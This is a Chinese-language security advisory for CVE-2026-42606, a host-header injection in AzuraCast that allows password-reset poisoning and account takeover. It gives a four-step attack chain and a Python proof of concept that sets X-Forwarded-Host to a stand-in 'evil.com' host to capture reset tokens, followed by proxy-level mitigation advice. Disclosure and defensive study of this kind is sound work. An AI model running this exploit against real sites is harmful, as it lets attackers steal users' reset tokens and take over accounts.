IPBUF安全漏洞报告
English
CVE-2026-42606 CVSS 8.1 高危

CVE-2026-42606 AzuraCast主机头注入致账户接管

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-42606
漏洞类型
主机头注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AzuraCast

相关标签

主机头注入账户接管AzuraCastWeb安全

漏洞概述

AzuraCast 0.23.6之前版本存在漏洞,ApplyXForwarded中间件无条件信任X-Forwarded-Host头。攻击者可在忘记密码流程中注入恶意头部,毒化重置链接。受害者点击后令牌泄露,攻击者利用令牌重置密码并禁用2FA,接管账户。

技术细节

漏洞源于AzuraCast未对X-Forwarded-Host头部进行来源验证。攻击者利用此缺陷,在触发密码重置请求时添加X-Forwarded-Host指向恶意服务器。服务器生成重置邮件时使用了被污染的主机名。受害者点击链接后,重置令牌被发送至攻击者服务器。攻击者截获令牌后,向官方站点发起密码重置请求,由于令牌有效且可绕过2FA,攻击者成功修改密码并控制账户。

攻击链分析

STEP 1
1. 请求注入
攻击者向AzuraCast发送忘记密码请求,并在HTTP头部注入恶意的X-Forwarded-Host指向攻击者服务器。
STEP 2
2. 链接毒化
服务器信任恶意头部,生成包含攻击者域名的密码重置链接,并发送给受害者。
STEP 3
3. 令牌窃取
受害者点击邮件中的链接,请求被发送至攻击者服务器,攻击者日志记录下URL中的重置令牌。
STEP 4
4. 账户接管
攻击者使用窃取的令牌向真实站点发起密码重置请求,修改密码并移除2FA,完成接管。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://target-azuracast.com/forgot-password" attacker_domain = "http://evil.com" headers = { "X-Forwarded-Host": attacker_domain, "User-Agent": "PoC-Scanner/1.0" } data = { "email": "[email protected]" } # Send malicious request to poison the password reset link response = requests.post(target_url, headers=headers, data=data) if response.status_code == 200: print("[+] Password reset triggered successfully.") print(f"[+] Check {attacker_domain} logs for the reset token.") else: print("[-] Failed to trigger reset.")

影响范围

AzuraCast < 0.23.6

防御指南

临时缓解措施
建议在反向代理服务器(如Nginx)上配置规则,清除或严格限制传入的X-Forwarded-Host头部,确保后端应用仅接收来自可信代理的头部信息,直至完成版本升级。

参考链接